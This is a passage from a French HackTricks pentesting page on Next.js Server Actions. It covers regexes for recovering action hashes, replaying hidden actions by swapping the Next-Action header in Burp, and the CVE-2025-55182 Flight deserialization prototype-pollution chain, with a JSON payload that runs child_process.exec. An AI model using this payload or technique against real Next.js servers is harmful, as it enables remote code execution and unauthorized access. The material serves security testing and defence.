createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- Groupe 1 : server action hash (40+ hex chars)
- Groupe 2 : symbole ou chemin qui peut être résolu vers la fonction originale via la source map lorsqu’elle est présente
Si le script annonce une source map (commentaire de fin //# sourceMappingURL=<...>.map), récupérez-la et résolvez le symbole/chemin vers le nom de fonction original.
Flux de travail pratique
- Découverte passive pendant la navigation : capturez les requêtes avec les en-têtes
Next-Actionet les URLs des chunks JS. - Récupérez les bundles JS référencés et les fichiers
*.mapassociés (quand présents). - Exécutez la regex ci-dessus pour construire un dictionnaire hash↔name.
- Utilisez le dictionnaire pour cibler les tests :
- Triage basé sur le nom (par ex.,
transferFunds,exportFinancialData). - Suivre la couverture entre les builds par nom de fonction (les hashes tournent entre les builds).
- Triage basé sur le nom (par ex.,
Exécution des actions cachées (requête basée sur un modèle)
Prenez un POST valide observé in-proxy comme modèle et échangez la valeur Next-Action pour cibler une autre action découverte :
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Rejouer dans Repeater et tester l’autorisation, la validation des entrées et la logique métier d’actions autrement inaccessibles.
Automatisation de Burp
- NextjsServerActionAnalyzer (Burp extension) automatise ce qui précède dans Burp :
- Parcourt l’historique du proxy pour les JS chunks, extrait les entrées
createServerReference(...)et analyse les source maps lorsqu’elles sont disponibles. - Maintient un dictionnaire “hash↔function-name” consultable et déduplique entre les builds en se basant sur le nom de fonction.
- Peut localiser un POST template valide et ouvrir un onglet Repeater prêt-à-envoyer avec le hash de l’action cible remplacé.
- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
Notes et limitations
- Nécessite
productionBrowserSourceMapsactivé en production pour récupérer les noms depuis les bundles/source maps. - La divulgation de noms de fonction n’est pas une vulnérabilité en soi ; utilisez-la pour orienter la découverte et tester l’autorisation de chaque action.
React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
Les déploiements Next.js App Router qui exposent Server Actions sur react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contiennent une pollution de prototype critique côté serveur lors de la désérialisation des chunks Flight. En fabriquant des références $ dans une Flight payload, un attaquant peut pivoter depuis des prototypes pollués vers l’exécution arbitraire de JavaScript puis vers l’exécution de commandes OS dans le processus Node.js.
NodeJS - proto & prototype Pollution
Chaîne d’attaque dans les chunks Flight
- Prototype pollution primitive: Définissez
"then": "$1:__proto__:then"afin que le resolver écrive une fonctionthensurObject.prototype. Tout objet plain traité ensuite devient un thenable, permettant à l’attaquant d’influencer le contrôle asynchrone à l’intérieur des internals RSC. - Rebinding to the global
Functionconstructor: Pointez_response._formData.getvers"$1:constructor:constructor". Lors de la résolution,object.constructor→Object, etObject.constructor→Function, donc les appels futurs à_formData.get()exécutent en faitFunction(...). - Code execution via
_prefix: Placez le code JavaScript dans_response._prefix. Lorsque le_formData.getpollué est invoqué, le framework évalueFunction(_prefix)(...), donc le JS injecté peut exécuterrequire('child_process').exec()ou n’importe quelle autre primitive Node.
Squelette de payload
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
Références
- Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

